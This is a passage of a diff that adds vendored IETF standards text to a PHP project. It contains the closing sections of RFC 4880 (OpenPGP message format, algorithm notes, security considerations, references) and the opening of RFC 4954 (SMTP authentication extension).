OpenPGP Message Format November 2007 + + + a.3) low-order length octet of (b)-(e) (1 octet) + + b) version number = 4 (1 octet); + + c) timestamp of key creation (4 octets); + + d) algorithm (1 octet): 17 = DSA (example); + + e) Algorithm-specific fields. + + Algorithm-Specific Fields for DSA keys (example): + + e.1) MPI of DSA prime p; + + e.2) MPI of DSA group order q (q is a prime divisor of p-1); + + e.3) MPI of DSA group generator g; + + e.4) MPI of DSA public-key value y (= g**x mod p where x is secret). + + Note that it is possible for there to be collisions of Key IDs -- two + different keys with the same Key ID. Note that there is a much + smaller, but still non-zero, probability that two different keys have + the same fingerprint. + + Also note that if V3 and V4 format keys share the same RSA key + material, they will have different Key IDs as well as different + fingerprints. + + Finally, the Key ID and fingerprint of a subkey are calculated in the + same way as for a primary key, including the 0x99 as the first octet + (even though this is not a valid packet ID for a public subkey). + +13. Notes on Algorithms + +13.1. PKCS#1 Encoding in OpenPGP + + This standard makes use of the PKCS#1 functions EME-PKCS1-v1_5 and + EMSA-PKCS1-v1_5. However, the calling conventions of these functions + has changed in the past. To avoid potential confusion and + interoperability problems, we are including local copies in this + document, adapted from those in PKCS#1 v2.1 [RFC3447]. RFC 3447 + should be treated as the ultimate authority on PKCS#1 for OpenPGP. + Nonetheless, we believe that there is value in having a self- + contained document that avoids problems in the future with needed + changes in the conventions. + + + + + +Callas, et al Standards Track [Page 72] + +RFC 4880 OpenPGP Message Format November 2007 + + +13.1.1. EME-PKCS1-v1_5-ENCODE + + Input: + + k = the length in octets of the key modulus + + M = message to be encoded, an octet string of length mLen, where + mLen <= k - 11 + + Output: + + EM = encoded message, an octet string of length k + + Error: "message too long" + + 1. Length checking: If mLen > k - 11, output "message too long" and + stop. + + 2. Generate an octet string PS of length k - mLen - 3 consisting of + pseudo-randomly generated nonzero octets. The length of PS will + be at least eight octets. + + 3. Concatenate PS, the message M, and other padding to form an + encoded message EM of length k octets as + + EM = 0x00 || 0x02 || PS || 0x00 || M. + + 4. Output EM. + +13.1.2. EME-PKCS1-v1_5-DECODE + + Input: + + EM = encoded message, an octet string + + Output: + + M = message, an octet string + + Error: "decryption error" + + To decode an EME-PKCS1_v1_5 message, separate the encoded message EM + into an octet string PS consisting of nonzero octets and a message M + as follows + + EM = 0x00 || 0x02 || PS || 0x00 || M. + + + + + +Callas, et al Standards Track [Page 73] + +RFC 4880 OpenPGP Message Format November 2007 + + + If the first octet of EM does not have hexadecimal value 0x00, if the + second octet of EM does not have hexadecimal value 0x02, if there is + no octet with hexadecimal value 0x00 to separate PS from M, or if the + length of PS is less than 8 octets, output "decryption error" and + stop. See also the security note in Section 14 regarding differences + in reporting between a decryption error and a padding error. + +13.1.3. EMSA-PKCS1-v1_5 + + This encoding method is deterministic and only has an encoding + operation. + + Option: + + Hash - a hash function in which hLen denotes the length in octets of + the hash function output + + Input: + + M = message to be encoded + + mL = intended length in octets of the encoded message, at least tLen + + 11, where tLen is the octet length of the DER encoding T of a + certain value computed during the encoding operation + + Output: + + EM = encoded message, an octet string of length emLen + + Errors: "message too long"; "intended encoded message length too + short" + + Steps: + + 1. Apply the hash function to the message M to produce a hash value + H: + + H = Hash(M). + + If the hash function outputs "message too long," output "message + too long" and stop. + + 2. Using the list in Section 5.2.2, produce an ASN.1 DER value for + the hash function used. Let T be the full hash prefix from + Section 5.2.2, and let tLen be the length in octets of T. + + 3. If emLen < tLen + 11, output "intended encoded message length + too short" and stop. + + + +Callas, et al Standards Track [Page 74] + +RFC 4880 OpenPGP Message Format November 2007 + + + 4. Generate an octet string PS consisting of emLen - tLen - 3 + octets with hexadecimal value 0xFF. The length of PS will be at + least 8 octets. + + 5. Concatenate PS, the hash prefix T, and other padding to form the + encoded message EM as + + EM = 0x00 || 0x01 || PS || 0x00 || T. + + 6. Output EM. + +13.2. Symmetric Algorithm Preferences + + The symmetric algorithm preference is an ordered list of algorithms + that the keyholder accepts. Since it is found on a self-signature, + it is possible that a keyholder may have multiple, different + preferences. For example, Alice may have TripleDES only specified + for "alice@work.com" but CAST5, Blowfish, and TripleDES specified for + "alice@home.org". Note that it is also possible for preferences to + be in a subkey's binding signature. + + Since TripleDES is the MUST-implement algorithm, if it is not + explicitly in the list, it is tacitly at the end. However, it is + good form to place it there explicitly. Note also that if an + implementation does not implement the preference, then it is + implicitly a TripleDES-only implementation. + + An implementation MUST NOT use a symmetric algorithm that is not in + the recipient's preference list. When encrypting to more than one + recipient, the implementation finds a suitable algorithm by taking + the intersection of the preferences of the recipients. Note that the + MUST-implement algorithm, TripleDES, ensures that the intersection is + not null. The implementation may use any mechanism to pick an + algorithm in the intersection. + + If an implementation can decrypt a message that a keyholder doesn't + have in their preferences, the implementation SHOULD decrypt the + message anyway, but MUST warn the keyholder that the protocol has + been violated. For example, suppose that Alice, above, has software + that implements all algorithms in this specification. Nonetheless, + she prefers subsets for work or home. If she is sent a message + encrypted with IDEA, which is not in her preferences, the software + warns her that someone sent her an IDEA-encrypted message, but it + would ideally decrypt it anyway. + + + + + + + +Callas, et al Standards Track [Page 75] + +RFC 4880 OpenPGP Message Format November 2007 + + +13.3. Other Algorithm Preferences + + Other algorithm preferences work similarly to the symmetric algorithm + preference, in that they specify which algorithms the keyholder + accepts. There are two interesting cases that other comments need to + be made about, though, the compression preferences and the hash + preferences. + +13.3.1. Compression Preferences + + Compression has been an integral part of PGP since its first days. + OpenPGP and all previous versions of PGP have offered compression. + In this specification, the default is for messages to be compressed, + although an implementation is not required to do so. Consequently, + the compression preference gives a way for a keyholder to request + that messages not be compressed, presumably because they are using a + minimal implementation that does not include compression. + Additionally, this gives a keyholder a way to state that it can + support alternate algorithms. + + Like the algorithm preferences, an implementation MUST NOT use an + algorithm that is not in the preference vector. If the preferences + are not present, then they are assumed to be [ZIP(1), + Uncompressed(0)]. + + Additionally, an implementation MUST implement this preference to the + degree of recognizing when to send an uncompressed message. A robust + implementation would satisfy this requirement by looking at the + recipient's preference and acting accordingly. A minimal + implementation can satisfy this requirement by never generating a + compressed message, since all implementations can handle messages + that have not been compressed. + +13.3.2. Hash Algorithm Preferences + + Typically, the choice of a hash algorithm is something the signer + does, rather than the verifier, because a signer rarely knows who is + going to be verifying the signature. This preference, though, allows + a protocol based upon digital signatures ease in negotiation. + + Thus, if Alice is authenticating herself to Bob with a signature, it + makes sense for her to use a hash algorithm that Bob's software uses. + This preference allows Bob to state in his key which algorithms Alice + may use. + + Since SHA1 is the MUST-implement hash algorithm, if it is not + explicitly in the list, it is tacitly at the end. However, it is + good form to place it there explicitly. + + + +Callas, et al Standards Track [Page 76] + +RFC 4880 OpenPGP Message Format November 2007 + + +13.4. Plaintext + + Algorithm 0, "plaintext", may only be used to denote secret keys that + are stored in the clear. Implementations MUST NOT use plaintext in + Symmetrically Encrypted Data packets; they must use Literal Data + packets to encode unencrypted or literal data. + +13.5. RSA + + There are algorithm types for RSA Sign-Only, and RSA Encrypt-Only + keys. These types are deprecated. The "key flags" subpacket in a + signature is a much better way to express the same idea, and + generalizes it to all algorithms. An implementation SHOULD NOT + create such a key, but MAY interpret it. + + An implementation SHOULD NOT implement RSA keys of size less than + 1024 bits. + +13.6. DSA + + An implementation SHOULD NOT implement DSA keys of size less than + 1024 bits. It MUST NOT implement a DSA key with a q size of less + than 160 bits. DSA keys MUST also be a multiple of 64 bits, and the + q size MUST be a multiple of 8 bits. The Digital Signature Standard + (DSS) [FIPS186] specifies that DSA be used in one of the following + ways: + + * 1024-bit key, 160-bit q, SHA-1, SHA-224, SHA-256, SHA-384, or + SHA-512 hash + + * 2048-bit key, 224-bit q, SHA-224, SHA-256, SHA-384, or SHA-512 + hash + + * 2048-bit key, 256-bit q, SHA-256, SHA-384, or SHA-512 hash + + * 3072-bit key, 256-bit q, SHA-256, SHA-384, or SHA-512 hash + + The above key and q size pairs were chosen to best balance the + strength of the key with the strength of the hash. Implementations + SHOULD use one of the above key and q size pairs when generating DSA + keys. If DSS compliance is desired, one of the specified SHA hashes + must be used as well. [FIPS186] is the ultimate authority on DSS, + and should be consulted for all questions of DSS compliance. + + Note that earlier versions of this standard only allowed a 160-bit q + with no truncation allowed, so earlier implementations may not be + able to handle signatures with a different q size or a truncated + hash. + + + +Callas, et al Standards Track [Page 77] + +RFC 4880 OpenPGP Message Format November 2007 + + +13.7. Elgamal + + An implementation SHOULD NOT implement Elgamal keys of size less than + 1024 bits. + +13.8. Reserved Algorithm Numbers + + A number of algorithm IDs have been reserved for algorithms that + would be useful to use in an OpenPGP implementation, yet there are + issues that prevent an implementer from actually implementing the + algorithm. These are marked in Section 9.1, "Public-Key Algorithms", + as "reserved for". + + The reserved public-key algorithms, Elliptic Curve (18), ECDSA (19), + and X9.42 (21), do not have the necessary parameters, parameter + order, or semantics defined. + + Previous versions of OpenPGP permitted Elgamal [ELGAMAL] signatures + with a public-key identifier of 20. These are no longer permitted. + An implementation MUST NOT generate such keys. An implementation + MUST NOT generate Elgamal signatures. See [BLEICHENBACHER]. + +13.9. OpenPGP CFB Mode + + OpenPGP does symmetric encryption using a variant of Cipher Feedback + mode (CFB mode). This section describes the procedure it uses in + detail. This mode is what is used for Symmetrically Encrypted Data + Packets; the mechanism used for encrypting secret-key material is + similar, and is described in the sections above. + + In the description below, the value BS is the block size in octets of + the cipher. Most ciphers have a block size of 8 octets. The AES and + Twofish have a block size of 16 octets. Also note that the + description below assumes that the IV and CFB arrays start with an + index of 1 (unlike the C language, which assumes arrays start with a + zero index). + + OpenPGP CFB mode uses an initialization vector (IV) of all zeros, and + prefixes the plaintext with BS+2 octets of random data, such that + octets BS+1 and BS+2 match octets BS-1 and BS. It does a CFB + resynchronization after encrypting those BS+2 octets. + + Thus, for an algorithm that has a block size of 8 octets (64 bits), + the IV is 10 octets long and octets 7 and 8 of the IV are the same as + octets 9 and 10. For an algorithm with a block size of 16 octets + (128 bits), the IV is 18 octets long, and octets 17 and 18 replicate + octets 15 and 16. Those extra two octets are an easy check for a + correct key. + + + +Callas, et al Standards Track [Page 78] + +RFC 4880 OpenPGP Message Format November 2007 + + + Step by step, here is the procedure: + + 1. The feedback register (FR) is set to the IV, which is all zeros. + + 2. FR is encrypted to produce FRE (FR Encrypted). This is the + encryption of an all-zero value. + + 3. FRE is xored with the first BS octets of random data prefixed to + the plaintext to produce C[1] through C[BS], the first BS octets + of ciphertext. + + 4. FR is loaded with C[1] through C[BS]. + + 5. FR is encrypted to produce FRE, the encryption of the first BS + octets of ciphertext. + + 6. The left two octets of FRE get xored with the next two octets of + data that were prefixed to the plaintext. This produces C[BS+1] + and C[BS+2], the next two octets of ciphertext. + + 7. (The resynchronization step) FR is loaded with C[3] through + C[BS+2]. + + 8. FR is encrypted to produce FRE. + + 9. FRE is xored with the first BS octets of the given plaintext, now + that we have finished encrypting the BS+2 octets of prefixed + data. This produces C[BS+3] through C[BS+(BS+2)], the next BS + octets of ciphertext. + + 10. FR is loaded with C[BS+3] to C[BS + (BS+2)] (which is C11-C18 for + an 8-octet block). + + 11. FR is encrypted to produce FRE. + + 12. FRE is xored with the next BS octets of plaintext, to produce + the next BS octets of ciphertext. These are loaded into FR, and + the process is repeated until the plaintext is used up. + +13.10. Private or Experimental Parameters + + S2K specifiers, Signature subpacket types, user attribute types, + image format types, and algorithms described in Section 9 all reserve + the range 100 to 110 for private and experimental use. Packet types + reserve the range 60 to 63 for private and experimental use. These + are intentionally managed with the PRIVATE USE method, as described + in [RFC2434]. + + + + +Callas, et al Standards Track [Page 79] + +RFC 4880 OpenPGP Message Format November 2007 + + + However, implementations need to be careful with these and promote + them to full IANA-managed parameters when they grow beyond the + original, limited system. + +13.11. Extension of the MDC System + + As described in the non-normative explanation in Section 5.13, the + MDC system is uniquely unparameterized in OpenPGP. This was an + intentional decision to avoid cross-grade attacks. If the MDC system + is extended to a stronger hash function, care must be taken to avoid + downgrade and cross-grade attacks. + + One simple way to do this is to create new packets for a new MDC. + For example, instead of the MDC system using packets 18 and 19, a new + MDC could use 20 and 21. This has obvious drawbacks (it uses two + packet numbers for each new hash function in a space that is limited + to a maximum of 60). + + Another simple way to extend the MDC system is to create new versions + of packet 18, and reflect this in packet 19. For example, suppose + that V2 of packet 18 implicitly used SHA-256. This would require + packet 19 to have a length of 32 octets. The change in the version + in packet 18 and the size of packet 19 prevent a downgrade attack. + + There are two drawbacks to this latter approach. The first is that + using the version number of a packet to carry algorithm information + is not tidy from a protocol-design standpoint. It is possible that + there might be several versions of the MDC system in common use, but + this untidiness would reflect untidiness in cryptographic consensus + about hash function security. The second is that different versions + of packet 19 would have to have unique sizes. If there were two + versions each with 256-bit hashes, they could not both have 32-octet + packet 19s without admitting the chance of a cross-grade attack. + + Yet another, complex approach to extend the MDC system would be a + hybrid of the two above -- create a new pair of MDC packets that are + fully parameterized, and yet protected from downgrade and cross- + grade. + + Any change to the MDC system MUST be done through the IETF CONSENSUS + method, as described in [RFC2434]. + +13.12. Meta-Considerations for Expansion + + If OpenPGP is extended in a way that is not backwards-compatible, + meaning that old implementations will not gracefully handle their + + + + + +Callas, et al Standards Track [Page 80] + +RFC 4880 OpenPGP Message Format November 2007 + + + absence of a new feature, the extension proposal can be declared in + the key holder's self-signature as part of the Features signature + subpacket. + + We cannot state definitively what extensions will not be upwards- + compatible, but typically new algorithms are upwards-compatible, + whereas new packets are not. + + If an extension proposal does not update the Features system, it + SHOULD include an explanation of why this is unnecessary. If the + proposal contains neither an extension to the Features system nor an + explanation of why such an extension is unnecessary, the proposal + SHOULD be rejected. + +14. Security Considerations + + * As with any technology involving cryptography, you should check the + current literature to determine if any algorithms used here have + been found to be vulnerable to attack. + + * This specification uses Public-Key Cryptography technologies. It + is assumed that the private key portion of a public-private key + pair is controlled and secured by the proper party or parties. + + * Certain operations in this specification involve the use of random + numbers. An appropriate entropy source should be used to generate + these numbers (see [RFC4086]). + + * The MD5 hash algorithm has been found to have weaknesses, with + collisions found in a number of cases. MD5 is deprecated for use + in OpenPGP. Implementations MUST NOT generate new signatures using + MD5 as a hash function. They MAY continue to consider old + signatures that used MD5 as valid. + + * SHA-224 and SHA-384 require the same work as SHA-256 and SHA-512, + respectively. In general, there are few reasons to use them + outside of DSS compatibility. You need a situation where one needs + more security than smaller hashes, but does not want to have the + full 256-bit or 512-bit data length. + + * Many security protocol designers think that it is a bad idea to use + a single key for both privacy (encryption) and integrity + (signatures). In fact, this was one of the motivating forces + behind the V4 key format with separate signature and encryption + keys. If you as an implementer promote dual-use keys, you should + at least be aware of this controversy. + + + + + +Callas, et al Standards Track [Page 81] + +RFC 4880 OpenPGP Message Format November 2007 + + + * The DSA algorithm will work with any hash, but is sensitive to the + quality of the hash algorithm. Verifiers should be aware that even + if the signer used a strong hash, an attacker could have modified + the signature to use a weak one. Only signatures using acceptably + strong hash algorithms should be accepted as valid. + + * As OpenPGP combines many different asymmetric, symmetric, and hash + algorithms, each with different measures of strength, care should + be taken that the weakest element of an OpenPGP message is still + sufficiently strong for the purpose at hand. While consensus about + the strength of a given algorithm may evolve, NIST Special + Publication 800-57 [SP800-57] recommends the following list of + equivalent strengths: + + Asymmetric | Hash | Symmetric + key size | size | key size + ------------+--------+----------- + 1024 160 80 + 2048 224 112 + 3072 256 128 + 7680 384 192 + 15360 512 256 + + * There is a somewhat-related potential security problem in + signatures. If an attacker can find a message that hashes to the + same hash with a different algorithm, a bogus signature structure + can be constructed that evaluates correctly. + + For example, suppose Alice DSA signs message M using hash algorithm + H. Suppose that Mallet finds a message M' that has the same hash + value as M with H'. Mallet can then construct a signature block + that verifies as Alice's signature of M' with H'. However, this + would also constitute a weakness in either H or H' or both. Should + this ever occur, a revision will have to be made to this document + to revise the allowed hash algorithms. + + * If you are building an authentication system, the recipient may + specify a preferred signing algorithm. However, the signer would + be foolish to use a weak algorithm simply because the recipient + requests it. + + * Some of the encryption algorithms mentioned in this document have + been analyzed less than others. For example, although CAST5 is + presently considered strong, it has been analyzed less than + TripleDES. Other algorithms may have other controversies + surrounding them. + + + + + +Callas, et al Standards Track [Page 82] + +RFC 4880 OpenPGP Message Format November 2007 + + + * In late summer 2002, Jallad, Katz, and Schneier published an + interesting attack on the OpenPGP protocol and some of its + implementations [JKS02]. In this attack, the attacker modifies a + message and sends it to a user who then returns the erroneously + decrypted message to the attacker. The attacker is thus using the + user as a random oracle, and can often decrypt the message. + + Compressing data can ameliorate this attack. The incorrectly + decrypted data nearly always decompresses in ways that defeat the + attack. However, this is not a rigorous fix, and leaves open some + small vulnerabilities. For example, if an implementation does not + compress a message before encryption (perhaps because it knows it + was already compressed), then that message is vulnerable. Because + of this happenstance -- that modification attacks can be thwarted + by decompression errors -- an implementation SHOULD treat a + decompression error as a security problem, not merely a data + problem. + + This attack can be defeated by the use of Modification Detection, + provided that the implementation does not let the user naively + return the data to the attacker. An implementation MUST treat an + MDC failure as a security problem, not merely a data problem. + + In either case, the implementation MAY allow the user access to the + erroneous data, but MUST warn the user as to potential security + problems should that data be returned to the sender. + + While this attack is somewhat obscure, requiring a special set of + circumstances to create it, it is nonetheless quite serious as it + permits someone to trick a user to decrypt a message. + Consequently, it is important that: + + 1. Implementers treat MDC errors and decompression failures as + security problems. + + 2. Implementers implement Modification Detection with all due + speed and encourage its spread. + + 3. Users migrate to implementations that support Modification + Detection with all due speed. + + * PKCS#1 has been found to be vulnerable to attacks in which a system + that reports errors in padding differently from errors in + decryption becomes a random oracle that can leak the private key in + mere millions of queries. Implementations must be aware of this + attack and prevent it from happening. The simplest solution is to + report a single error code for all variants of decryption errors so + as not to leak information to an attacker. + + + +Callas, et al Standards Track [Page 83] + +RFC 4880 OpenPGP Message Format November 2007 + + + * Some technologies mentioned here may be subject to government + control in some countries. + + * In winter 2005, Serge Mister and Robert Zuccherato from Entrust + released a paper describing a way that the "quick check" in OpenPGP + CFB mode can be used with a random oracle to decrypt two octets of + every cipher block [MZ05]. They recommend as prevention not using + the quick check at all. + + Many implementers have taken this advice to heart for any data that + is symmetrically encrypted and for which the session key is + public-key encrypted. In this case, the quick check is not needed + as the public-key encryption of the session key should guarantee + that it is the right session key. In other cases, the + implementation should use the quick check with care. + + On the one hand, there is a danger to using it if there is a random + oracle that can leak information to an attacker. In plainer + language, there is a danger to using the quick check if timing + information about the check can be exposed to an attacker, + particularly via an automated service that allows rapidly repeated + queries. + + On the other hand, it is inconvenient to the user to be informed + that they typed in the wrong passphrase only after a petabyte of + data is decrypted. There are many cases in cryptographic + engineering where the implementer must use care and wisdom, and + this is one. + +15. Implementation Nits + + This section is a collection of comments to help an implementer, + particularly with an eye to backward compatibility. Previous + implementations of PGP are not OpenPGP compliant. Often the + differences are small, but small differences are frequently more + vexing than large differences. Thus, this is a non-comprehensive + list of potential problems and gotchas for a developer who is trying + to be backward-compatible. + + * The IDEA algorithm is patented, and yet it is required for PGP + 2.x interoperability. It is also the de-facto preferred + algorithm for a V3 key with a V3 self-signature (or no self- + signature). + + * When exporting a private key, PGP 2.x generates the header "BEGIN + PGP SECRET KEY BLOCK" instead of "BEGIN PGP PRIVATE KEY BLOCK". + All previous versions ignore the implied data type, and look + directly at the packet data type. + + + +Callas, et al Standards Track [Page 84] + +RFC 4880 OpenPGP Message Format November 2007 + + + * PGP 2.0 through 2.5 generated V2 Public-Key packets. These are + identical to the deprecated V3 keys except for the version + number. An implementation MUST NOT generate them and may accept + or reject them as it sees fit. Some older PGP versions generated + V2 PKESK packets (Tag 1) as well. An implementation may accept + or reject V2 PKESK packets as it sees fit, and MUST NOT generate + them. + + * PGP 2.6.x will not accept key-material packets with versions + greater than 3. + + * There are many ways possible for two keys to have the same key + material, but different fingerprints (and thus Key IDs). Perhaps + the most interesting is an RSA key that has been "upgraded" to V4 + format, but since a V4 fingerprint is constructed by hashing the + key creation time along with other things, two V4 keys created at + different times, yet with the same key material will have + different fingerprints. + + * If an implementation is using zlib to interoperate with PGP 2.x, + then the "windowBits" parameter should be set to -13. + + * The 0x19 back signatures were not required for signing subkeys + until relatively recently. Consequently, there may be keys in + the wild that do not have these back signatures. Implementing + software may handle these keys as it sees fit. + + * OpenPGP does not put limits on the size of public keys. However, + larger keys are not necessarily better keys. Larger keys take + more computation time to use, and this can quickly become + impractical. Different OpenPGP implementations may also use + different upper bounds for public key sizes, and so care should + be taken when choosing sizes to maintain interoperability. As of + 2007 most implementations have an upper bound of 4096 bits. + + * ASCII armor is an optional feature of OpenPGP. The OpenPGP + working group strives for a minimal set of mandatory-to-implement + features, and since there could be useful implementations that + only use binary object formats, this is not a "MUST" feature for + an implementation. For example, an implementation that is using + OpenPGP as a mechanism for file signatures may find ASCII armor + unnecessary. OpenPGP permits an implementation to declare what + features it does and does not support, but ASCII armor is not one + of these. Since most implementations allow binary and armored + objects to be used indiscriminately, an implementation that does + not implement ASCII armor may find itself with compatibility + issues with general-purpose implementations. Moreover, + implementations of OpenPGP-MIME [RFC3156] already have a + + + +Callas, et al Standards Track [Page 85] + +RFC 4880 OpenPGP Message Format November 2007 + + + requirement for ASCII armor so those implementations will + necessarily have support. + +16. References + +16.1. Normative References + + [AES] NIST, FIPS PUB 197, "Advanced Encryption Standard + (AES)," November 2001. + http://csrc.nist.gov/publications/fips/fips197/fips- + 197.{ps,pdf} + + [BLOWFISH] Schneier, B. "Description of a New Variable-Length + Key, 64-Bit Block Cipher (Blowfish)" Fast Software + Encryption, Cambridge Security Workshop Proceedings + (December 1993), Springer-Verlag, 1994, pp191-204 + + + [BZ2] J. Seward, jseward@acm.org, "The Bzip2 and libbzip2 + home page" + + [ELGAMAL] T. Elgamal, "A Public-Key Cryptosystem and a + Signature Scheme Based on Discrete Logarithms," IEEE + Transactions on Information Theory, v. IT-31, n. 4, + 1985, pp. 469-472. + + [FIPS180] Secure Hash Signature Standard (SHS) (FIPS PUB 180- + 2). + + + [FIPS186] Digital Signature Standard (DSS) (FIPS PUB 186-2). + FIPS 186-3 describes keys + greater than 1024 bits. The latest draft is at: + + + [HAC] Alfred Menezes, Paul van Oorschot, and Scott + Vanstone, "Handbook of Applied Cryptography," CRC + Press, 1996. + + + [IDEA] Lai, X, "On the design and security of block + ciphers", ETH Series in Information Processing, J.L. + Massey (editor), Vol. 1, Hartung-Gorre Verlag + Knostanz, Technische Hochschule (Zurich), 1992 + + + + +Callas, et al Standards Track [Page 86] + +RFC 4880 OpenPGP Message Format November 2007 + + + [ISO10646] ISO/IEC 10646-1:1993. International Standard -- + Information technology -- Universal Multiple-Octet + Coded Character Set (UCS) -- Part 1: Architecture + and Basic Multilingual Plane. + + [JFIF] JPEG File Interchange Format (Version 1.02). Eric + Hamilton, C-Cube Microsystems, Milpitas, CA, + September 1, 1992. + + [RFC1950] Deutsch, P. and J-L. Gailly, "ZLIB Compressed Data + Format Specification version 3.3", RFC 1950, May + 1996. + + [RFC1951] Deutsch, P., "DEFLATE Compressed Data Format + Specification version 1.3", RFC 1951, May 1996. + + [RFC2045] Freed, N. and N. Borenstein, "Multipurpose Internet + Mail Extensions (MIME) Part One: Format of Internet + Message Bodies", RFC 2045, November 1996 + + [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [RFC2144] Adams, C., "The CAST-128 Encryption Algorithm", RFC + 2144, May 1997. + + [RFC2434] Narten, T. and H. Alvestrand, "Guidelines for + Writing an IANA Considerations Section in RFCs", BCP + 26, RFC 2434, October 1998. + + [RFC2822] Resnick, P., "Internet Message Format", RFC 2822, + April 2001. + + [RFC3156] Elkins, M., Del Torto, D., Levien, R., and T. + Roessler, "MIME Security with OpenPGP", RFC 3156, + August 2001. + + [RFC3447] Jonsson, J. and B. Kaliski, "Public-Key Cryptography + Standards (PKCS) #1: RSA Cryptography Specifications + Version 2.1", RFC 3447, February 2003. + + [RFC3629] Yergeau, F., "UTF-8, a transformation format of ISO + 10646", STD 63, RFC 3629, November 2003. + + [RFC4086] Eastlake, D., 3rd, Schiller, J., and S. Crocker, + "Randomness Requirements for Security", BCP 106, RFC + 4086, June 2005. + + + + +Callas, et al Standards Track [Page 87] + +RFC 4880 OpenPGP Message Format November 2007 + + + [SCHNEIER] Schneier, B., "Applied Cryptography Second Edition: + protocols, algorithms, and source code in C", 1996. + + [TWOFISH] B. Schneier, J. Kelsey, D. Whiting, D. Wagner, C. + Hall, and N. Ferguson, "The Twofish Encryption + Algorithm", John Wiley & Sons, 1999. + +16.2. Informative References + + [BLEICHENBACHER] Bleichenbacher, Daniel, "Generating Elgamal + signatures without knowing the secret key," + Eurocrypt 96. Note that the version in the + proceedings has an error. A revised version is + available at the time of writing from + + + [JKS02] Kahil Jallad, Jonathan Katz, Bruce Schneier + "Implementation of Chosen-Ciphertext Attacks against + PGP and GnuPG" http://www.counterpane.com/pgp- + attack.html + + [MAURER] Ueli Maurer, "Modelling a Public-Key + Infrastructure", Proc. 1996 European Symposium on + Research in Computer Security (ESORICS' 96), Lecture + Notes in Computer Science, Springer-Verlag, vol. + 1146, pp. 325-350, Sep 1996. + + [MZ05] Serge Mister, Robert Zuccherato, "An Attack on CFB + Mode Encryption As Used By OpenPGP," IACR ePrint + Archive: Report 2005/033, 8 Feb 2005 + http://eprint.iacr.org/2005/033 + + [REGEX] Jeffrey Friedl, "Mastering Regular Expressions," + O'Reilly, ISBN 0-596-00289-0. + + [RFC1423] Balenson, D., "Privacy Enhancement for Internet + Electronic Mail: Part III: Algorithms, Modes, and + Identifiers", RFC 1423, February 1993. + + [RFC1991] Atkins, D., Stallings, W., and P. Zimmermann, "PGP + Message Exchange Formats", RFC 1991, August 1996. + + [RFC2440] Callas, J., Donnerhacke, L., Finney, H., and R. + Thayer, "OpenPGP Message Format", RFC 2440, November + 1998. + + + + + +Callas, et al Standards Track [Page 88] + +RFC 4880 OpenPGP Message Format November 2007 + + + [SP800-57] NIST Special Publication 800-57, Recommendation on + Key Management + + + +Acknowledgements + + This memo also draws on much previous work from a number of other + authors, including: Derek Atkins, Charles Breed, Dave Del Torto, Marc + Dyksterhouse, Gail Haspert, Gene Hoffman, Paul Hoffman, Ben Laurie, + Raph Levien, Colin Plumb, Will Price, David Shaw, William Stallings, + Mark Weaver, and Philip R. Zimmermann. + +Authors' Addresses + + The working group can be contacted via the current chair: + + Derek Atkins + IHTFP Consulting, Inc. + 4 Farragut Ave + Somerville, MA 02144 USA + + EMail: derek@ihtfp.com + Tel: +1 617 623 3745 + + The principal authors of this document are as follows: + + Jon Callas + EMail: jon@callas.org + + Lutz Donnerhacke + IKS GmbH + Wildenbruchstr. 15 + 07745 Jena, Germany + EMail: lutz@iks-jena.de + + Hal Finney + EMail: hal@finney.org + + David Shaw + EMail: dshaw@jabberwocky.com + + Rodney Thayer + EMail: rodney@canola-jones.com + + + + + +Callas, et al Standards Track [Page 89] + +RFC 4880 OpenPGP Message Format November 2007 + + +Full Copyright Statement + + Copyright (C) The IETF Trust (2007). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY, THE IETF TRUST AND + THE INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF + THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + + + + + + + + + + + + +Callas, et al Standards Track [Page 90] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4954.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4954.txt new file mode 100644 index 00000000..668d7383 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4954.txt @@ -0,0 +1,1123 @@ + + + + + + +Network Working Group R. Siemborski, Ed. +Request for Comments: 4954 Google, Inc. +Obsoletes: 2554 A. Melnikov, Ed. +Updates: 3463 Isode Limited +Category: Standards Track July 2007 + + + SMTP Service Extension for Authentication + +Status of This Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The IETF Trust (2007). + +Abstract + + This document defines a Simple Mail Transport Protocol (SMTP) + extension whereby an SMTP client may indicate an authentication + mechanism to the server, perform an authentication protocol exchange, + and optionally negotiate a security layer for subsequent protocol + interactions during this session. This extension includes a profile + of the Simple Authentication and Security Layer (SASL) for SMTP. + + This document obsoletes RFC 2554. + + + + + + + + + + + + + + + + + + + + +Siemborski & Melnikov Standards Track [Page 1] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +Table of Contents + + 1. Introduction ....................................................2 + 2. How to Read This Document .......................................2 + 3. The Authentication Service Extension ............................3 + 4. The AUTH Command ................................................3 + 4.1. Examples ...................................................7 + 5. The AUTH Parameter 